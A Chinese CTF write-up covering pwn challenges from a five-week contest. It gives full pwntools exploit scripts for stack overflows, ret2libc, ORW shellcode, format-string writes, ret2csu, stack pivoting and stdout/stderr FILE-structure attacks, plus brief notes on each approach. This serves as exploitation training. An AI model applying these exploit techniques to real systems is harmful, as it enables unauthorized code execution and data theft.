目录

  • 前言:
  • WEEK1
  • ret2text:
  • calc:
  • ret2libc:
  • ret2shellcode:
  • fallw1nd’s gift:
  • WEEK2
  • uint32 and ret:
  • shellcode-revenge:
  • 砍一刀:
  • buffer-fly:
  • WEEK3
  • cat flag
  • Read&Write
  • ret2csu1
  • sheep a flag
  • WEEK4
  • canary
  • 这是堆🐴
  • OhMyShellcode
  • ret2csu2
  • 这是堆🐎
  • WEEK5
  • overflow me plz
  • leak me plz
  • 小结


前言:

今年9~10月的比赛,题目从易到难,知识面广,还是很不错的,复现一下这比赛的pwn

WEEK1

ret2text:

from pwn import*
r= process('./pwn')
#r=remote('',25509)
elf = ELF('./pwn')
#libc=elf('./')
pop_rdi=0x4007d3
backdoor=0x400708
payload='a'*0x20+'b'*8+p64(backdoor)
r.sendline(payload)
r.interactive()

calc:

用python的eval函数自动计算

from pwn import *
#from LibcSearcher import * 
local_file  = './cala'
local_libc  = './'
remote_libc = './'
#remote_libc = '/home/glibc-all-in-one/libs/buu/'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('',25712 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#-----------------------------
for i in range(100):
    ru('What\'s the answer? ')
    sl(str(eval(r.recvuntil('=',drop=True).replace('x','*'))))
r.interactive()

ret2libc:

from pwn import *
local_file  = './pwn'
local_libc  = './'
remote_libc = './'
#remote_libc = '/home/glibc-all-in-one/libs/buu/'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('',29708 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------
pop_rdi=0x400753
ret=0x40050e
payload='a'*0x20+'b'*8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main'])
sla('Glad to meet you again!What u bring to me this time?\n',payload)
got=uu64(ru('\x7f')[-6:])
base=got-libc.sym['puts']
print hex(base)
system=base+libc.sym['system']
binsh=base+0x1b45bd
payload='a'*0x20+'b'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('Glad to meet you again!What u bring to me this time?\n',payload)
#debug()
r.interactive()

ret2shellcode:

from pwn import *
#from LibcSearcher import * 
local_file  = './shell'
local_libc  = './'
remote_libc = './'
#remote_libc = '/home/glibc-all-in-one/libs/buu/'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('',25903 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
sla     = lambda delim,data         :r.sendlineafter(delim, data)
#-----------------------------
sla('Hello my friend.Any gift for me?\n',asm(()))
sla('Anything else?\n','a'*0x30+'b'*8+p64(0x233000))
r.interactive()

fallw1nd’s gift:

GOT Hijacking,

gdb调试来确定该怎样输入addr

用objdump -d -M inte ./fallw1nd’s gift 取找puts的plt

from pwn import *
#from LibcSearcher import * 
local_file  = './fallw1nd_gift'
local_libc  = './'
remote_libc = './'
#remote_libc = '/home/glibc-all-in-one/libs/buu/'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('',25419)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#----------------------
ru('gift as reward:\n')
puts_got=eval(rc(14))
print hex(puts_got)
base=puts_got-libc.sym['puts']
print hex(base)
system=base+libc.sym['system']
print hex(libc.sym['puts'])
puts_plt=base+libc.sym['puts']
#debug()
sla('now input your addr:\n',str(hex(0x4033f8)).replace('0x',''))
se(p64(system))
#debug()
r.interactive()

WEEK2

uint32 and ret:

就是个负数转无符号会变为一个很大的数,就能溢出,然后太大也不行read不了,找一下64位无符号int是多少,然后对应减掉一点,用gdb调试一下就知道了,还有就是用ret调一下

from pwn import *
local_file  = './uint'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('',25835 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
ret=0x40101a
backdoor=0x4011b6
sl(str(4294967094))
#debug()
sl('a'*0x58+p64(ret)+p64(backdoor))
r.interactive()

shellcode-revenge:

沙盒禁用了execve

保护就canary没开

思路:就是第一个read往mmap地址写 (调用read往mmap+21地址写0x800字节函数)的汇编(注:21是因为汇编长度为21),写入orw后会紧接着执行orw语句,
栈溢出跳到mmap

from pwn import *
local_file  = './pwn'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('',25278 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
mmap=0x233000
se(asm(shellcraft.read(0,mmap+21,0x800)))
print len(asm(shellcraft.read(0,mmap+21,0x800)))
orw_payload=shellcraft.open('./flag')
orw_payload+=shellcraft.read(3,mmap+0x850,0x50)   
orw_payload+=shellcraft.write(1,mmap+0x850,0x50)
print(len(orw_payload))
sl('a'*0x38+p64(mmap))
sl(asm(orw_payload))
r.interactive()

砍一刀:

这题有格式化字符串漏洞

偏移为8

所以只要改diamond为10即可
diamond=0x404090
注意64位p64(diamond)要放在后面,不然要被截断
想了很久怎么去交互,这个脚本只能说极小概率成功,多试几次

from pwn import *
local_file  = './pwn2'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('',28562)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
sl('')
sl('')
sl('666')
sl('')
for i in range(18):
    sl('')
for i in range(20):
	sl('')
for i in range(100):
    sl('%'+'10'+'c%10$n'+'a'*7+p64(0x404090))
r.interactive()

buffer-fly:

保护就canary没开

printf遇到’\x00’截断,我们可以泄露在 rbp-0x20到rbp之间的地址

第一个read我们泄露函数的地址,得到gadget pop_rdisystem

第二个read泄露栈的地址,填入sh flag\x00

因为程序close(0),close(1)关闭了标准输入,标准输出

所以第三个read栈溢出sh执行flag,导致标准错误输出flag

from pwn import *
local_file  = './buffer_fly'
local_libc  = './'
remote_libc = './'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('',28290 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
#------------------------
sea('give me your name: ','a'*0x18)
ru('your name: aaaaaaaaaaaaaaaaaaaaaaaa')
function_addr=uu64(rc(6))
boy_next_door=function_addr+3
base=boy_next_door-0x128e
info("function_base",base)
pop_rdi=base+0x1423
ret=base+0x101a
system=base+0x129d
#debug()
sea('your age: ',b'a'*0x20)
stack_addr=uu64(ru('\x7f')[-6:])
#debug()
info('stack_addr',stack_addr)
payload=flat('sh flag\x00','a'*0x20,pop_rdi,stack_addr-0x30,system)
sea('susu give me your wechat number: ',payload)
#debug()
r.interactive()

WEEK3

cat flag

提示趁它sleep时edit把name改为flag

from pwn import *
local_file  = './pwn'
select = 1
if select == 0:
    r = process(local_file)
elif select == 1:
    r = remote('',28863 )
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sla('==>','2')
sla('Input the file name you want to cat.\n','backdoor')
sla('==>','3')
sla('Input new name you want to change.\n','flag')
r.interactive()

Read&Write

存在数组越界,和向后读写,可以向后越界泄露libc_base,程序实际地址什么的,然后rop一下就行了

from pwn import * 
local_file  = './pwn'
local_libc  = './'
remote_libc = './'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',25904 )
    libc = ELF(remote_libc)

elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
#------------------------
def s(idx):
    sla('> ','1')
    sla('Idx:',str(idx))
    ru('The num: ')
    low_addr=int(r.recvuntil('\n',drop=True),10)
    sla('> ','1')
    sla('Idx:',str(idx+1))
    ru('The num: ')
    high_addr=int(r.recvuntil('\n',drop=True),10)
    return high_addr*(2**32)+low_addr

def w(idx,num):
    high_num=int(num/(2**32))
    low_num=num%(2**32)
    #print(high_num)
    sla('> ','2')
    sla('Idx:',str(idx))
    sla('Num:',str(low_num))
    sla('> ','2')
    sla('Idx:',str(idx+1))
    sla('Num:',str(high_num))
#--------------------------
base=s(0x110)-elf.sym['__libc_csu_init']
info("base",base)
libc_base=s(0x12c)-0x236190
info("libc_base",libc_base)

pop_rdi = libc_base + 0x23b6a
ret=libc_base + 0x22679
binsh=libc_base+0x1B45BD
system =libc_base+libc.sym['system']

w(0x106,ret)
w(0x108,pop_rdi)
w(0x10a,binsh)
#debug()
w(0x10c,system)
sla('> ','666')
r.interactive()

ret2csu1

总而言之就是用ret2csu来rop出execve(“/bin/cat”,{“/bin/cat”,“/flag”,NULL},0)

from pwn import * 
local_file  = './pwn'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select =0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',27162 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
#------------------------
def csu(rdi,rsi,rdx,function):
    csu_front_addr=0x400710
    csu_end_addr=0x40072A
    payload = b''
    payload += p64(csu_end_addr) + p64(0) + p64(1) + p64(function) + p64(
        rdi) + p64(rsi) + p64(rdx)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    return payload
#----------------
bincat=0x4007BB
flag=0x601050
execve=0x601068
payload=b'a'*0x28+csu(bincat,flag,0,execve)
#debug()
sea('I hide some useful text in this elf.Remember to check it!\n',payload)
r.interactive()

sheep a flag

完全可以手动走一下迷宫,ctrl+c转换到脚本用格式化字符串往0x602080地址写0x1D4B42

fmt从这位师傅抄了一个,懒得写了

from pwn import * 
local_file  = './sheep_a_flag'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',25904 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
#------------------------
r.interactive()
payload=b'%29c%10$hhn%37c%11$hhn%9c%12$hhn'+p64(0x602082)+p64(0x602080)+p64(0x602081)
se(payload)
r.interactive()

WEEK4

canary

保护全开

存在两个格式化字符串漏洞

backdoor里有system,bss段有/bin/sh

思路是泄露canary,改money长度造成溢出,rop出 system(/bin/sh)

from pwn import * 
local_file  = './pwn'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib64/.2'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',25326 )
    libc = ELF(remote_libc)
else:
    r = gdb.debug(local_file)
    libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
print ("pid"+str(proc.pidof(r)))
#------------------------
offest=6
sla('Now answer me, will you v me 50\n','aaaaaaa,%11$p,%17$p')
ru('0x')
canary=int(rc(16),16)
info('canary',canary)
ru('0x')
true_main=int(rc(12),16)
pie_base=true_main-0x9e4
money=0x20206C
true_money=money+pie_base
info('true_money',true_money)
#pause()
sla('What do you want to say to the canary\n','%200c%8$n'+'a'*7+p64(true_money))
pop_rdi=0xb33+pie_base
binsh=0x202020+pie_base
system=0x9DC+pie_base
sl(flat('a'*0x28,canary,'b'*8,pop_rdi,binsh,system))
r.interactive()

这是堆🐴

下标可以小于0,bss段有个指针指向自己(貌似还有个off by null),Edit功能用负数配合该指针达成任意写

show功能泄露libc后,改atoi为system,填入binsh

from pwn import * 
local_file  = './pwn'
local_libc  = './'
remote_libc = './'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',25904 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
#------------------------
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
def add(content):
    sla('>> ','1')
    sea('Any data?\n',content)
def edit(idx,content):
    sla('>> ','3')
    sla('Index:',str(idx))
    sea('Content:',content)
def show(idx):
    sla('>> ','4')
    sla('Index:',str(idx))
#-------------------------
you_found_me=0x602080
#debug()
edit(-12,flat(you_found_me,elf.got['puts']))
show(-11)
libc_base=uu64(ru("\x7f"))-libc.sym['puts']
info("libc_base",libc_base)
system=libc_base+libc.sym['system']
atoi_plt=0x602058
edit(-12,flat(atoi_plt))
#print(p64(system)[0:6])
edit(-12,p64(system)[0:7])
#debug()
sla('>> ','3')
sla('Index:','/bin/sh')
r.interactive()

OhMyShellcode

呃呃呃,只检测到0x19,只要syscall在0x19长度后即可

from pwn import * 
local_file  = './pwn'
local_libc  = './'
remote_libc = './'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',25904 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sea     = lambda delim,data         :r.sendafter(delim, data)
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
#--------------------------
mmap=0x233000
shellcode=asm('''
    mov rdi,0
    mov rsi,0x23301e
    mov rdx,0x800
    mov rax,0
    syscall
''')
print(hex(len(shellcode)))
sea('Show me your magic.\n',shellcode)
#debug()
sea('Good luck!',b'a'*0x38+p64(0x233000))
orw_payload=shellcraft.open('flag')
orw_payload+=shellcraft.read(3,mmap+0x850,0x50)   
orw_payload+=shellcraft.write(1,mmap+0x850,0x50)
se(asm(orw_payload))
r.interactive()

ret2csu2

栈迁移到bss段,然后mprotect提权bss段,紧接着执行shellcode即可

(mprotect的地址要0x1000的倍数,不然无法提权,总的来说这题gdb调试格外重要)

from pwn import * 
local_file  = './pwn'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select =0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',27162 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
#------------------------
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
def csu(rdi,rsi,rdx,function):
    csu_front_addr=0x400740
    csu_end_addr=0x40075A
    payload = b''
    payload += p64(csu_end_addr) + p64(0) + p64(1) + p64(function) + p64(
        rdi) + p64(rsi) + p64(rdx)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    return payload
#-----------------
bss=0x601020+0x300
main_read=0x4006D6
leave_ret=0x0000000000400681 # leave ; ret
main=0x400683
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
mprotect=elf.got['mprotect']
payload=flat('a'*0xf0,bss+0xf0,main_read)
#debug()
sea('Also a fun function in this elf.Remember to check it!\n',payload)
payload1=csu(0x601000,0x1000,7,mprotect)+p64(0x6013a0)+shellcode
payload1=payload1.ljust(0xf0,b'\x00')
payload1+=p64(bss-8)+p64(leave_ret)
#debug()
se(payload1)

r.interactive()

这是堆🐎

这题有难度的

还开了沙盒,禁用了execve和open

漏洞依旧存在于Edit 下标小于0没检测,可以数组越界打stdout泄露libc

因为打印出来的地址太多,变数太多,7f开头的可能是栈地址,libc段的地址,凑巧7f字符等情况

所以我找了几个可能是libc段的地址,加大概率,如果不是这些地址的话就会报错libc_base undined

多试几次

自己的尝试:

数组越界打stdout泄露libc

继续数组越界打stderr,exit来触发IO流,用的是house of apple2的利用链

(不过这个方法不太好,还得小心翼翼不破坏stdout,破坏掉了调用puts就报错)

exit并没有调用指定链,不知为啥

最后虽然失败了,但还是记录一下

#fail exp
from pwn import * 
local_file  = './pwn'
local_libc  = './'
remote_libc = './'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',25904 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
#---------------------------
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
def add(content):
    sla('>> ','1')
    sla('Any data?\n',content)
def edit(idx,content):
    sla('>> ','3')
    sla('Index:',str(idx))
    sla('Content:',content)
#------------------------
edit(-8,flat(0xfbad1800,0,0,0,b'\x00'))
rc(0x648)
rc(0x1000)
libc_addr=uu64(ru('\x7f')[-6:])
if (libc_addr-0x1ed4a0)&0xfff==0x000 :
    libc_base=libc_addr-0x1ed4a0 #_nl_global_locale
elif (libc_addr-0x1ee7f0)&0xfff==0x000 :
    libc_base=libc_addr-0x1ee7f0 #_IO_stdfile_0_lock
elif (libc_addr-0x8ff50)&0xfff==0x000 :
    libc_base=libc_addr-0x8ff50 #_IO_new_file_finish
info("libc_base",libc_base)

system=libc_base+libc.sym['system']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
stderr=libc_base+libc.sym['_IO_2_1_stderr_']
#debug()

fake_IO_FILE =b'  sh'
fake_IO_FILE =fake_IO_FILE.ljust(0x28, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x50, b'\x00') + p64(stderr +0x50+0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xa0, b'\x00') + p64(stderr + 0x50)
fake_IO_FILE =fake_IO_FILE.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps)
fake_IO_FILE +=p64(0xfbad1800)+p64(stderr+0x163)*5+p64(stderr+0x164)+p64(stderr+0x163) +p64(stderr+0x164)
fake_IO_FILE =fake_IO_FILE.ljust(0x50+0xe0, b'\x00') + p64(stderr +0x50+0xe8)
fake_IO_FILE +=p64(0)*2+p64(stderr-0xc40)+p64(1)+p64(0xffffffffffffffff)+p64(0x0000000043000000)+p64(stderr+0x1220)+p64(0xffffffffffffffff)+p64(0)+p64(stderr-0xd40)
fake_IO_FILE =fake_IO_FILE.ljust(0x50+0xe0+0x68, b'\x00') +p64(system)
edit(-4,fake_IO_FILE)
#debug()
sl('0')
#debug()
r.interactive()

WEEK5

overflow me plz

依旧是栈迁移到bss段,ret2csu构造wirte来泄露libc,然后one_gadget

(本来想再次迁移rop来做的,到最后程序也成功执行了system(/bin/sh)了就是没shell)

from pwn import * 
local_file  = './pwn'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select =0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',29722)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
#------------------------
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
def csu(rdi,rsi,rdx,function):
    csu_front_addr=0x400740
    csu_end_addr=0x40075A
    payload = b''
    payload += p64(csu_end_addr) + p64(0) + p64(1) + p64(function) + p64(
        rdi) + p64(rsi) + p64(rdx)
    payload += p64(csu_front_addr)
    payload += b'\x00' * 0x38
    return payload
#-----------------
bss=0x601040+0x200
leave_ret=0x00000000004006f7 # leave ; ret
main_read=0x4006D9
main=0x400698
pd=flat('\x00'*0xc0,bss+0xc0,main_read)
sea('Show me if you can pwn it!\n',pd)

pd1=csu(1,elf.got['write'],0x8,elf.got['write'])+p64(main)
pd1=pd1.ljust(0xc0,b'\x00')
pd1+=p64(bss-8)+p64(leave_ret)
#debug()
se(pd1)
libc_base=uu64(ru('\x7f')[-6:])-libc.sym['write']
info("libc_base",libc_base)

og=[0xe3afe,0xe3b01,0xe3b04]
se(b'a'*0xc8+p64(libc_base+og[0]))

#system=libc_base+libc.sym['system']
#pop_rdi=0x0000000000400763
#ret=0x40050e
#binsh=libc_base+0x1B45BD
#pd2=flat('\x00'*0xc0,bss+0xc0,main_read)
#debug()
#sea('Show me if you can pwn it!\n',pd2)
#pop_rsi_r15=0x400761
#pd3=flat(ret,pop_rdi,binsh,system)
#pd3.ljust(0xc0,b'\x00') 
#pd3+=p64(bss-8)+p64(leave_ret)
#debug()
#se(pd3)
r.interactive()

leak me plz

程序在0x233000的地址读入了flag

告诉了我们libc地址,还有任意地址写0x38长度

打stdout改p64(0xfbad1800)+p64(0)*3+p64(mmap)+p64(mmap+0x40)+p64(0)

遇到puts会打印从mmap到mmap+0x40)的值

from pwn import * 
local_file  = './pwn'
local_libc  = './'
remote_libc = './'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('',25904 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
#------------------------
mmap=0x233000
ru('Here is your gift: 0x')
libc_base=int(rc(12),16)-libc.sym['puts']
info("libc_base",libc_base)
stdout=libc_base+0x1ed6a0
#debug()
se(p64(stdout))
#debug()
payload=p64(0xfbad1800)+p64(0)*3+p64(mmap)+p64(mmap+0x40)+p64(0)
se(payload)
r.interactive()

小结

还有5道题没整出来,记录一下,有空再整,分别为:

这是堆🐎

KMario

code me plz

Farewell

orw me plz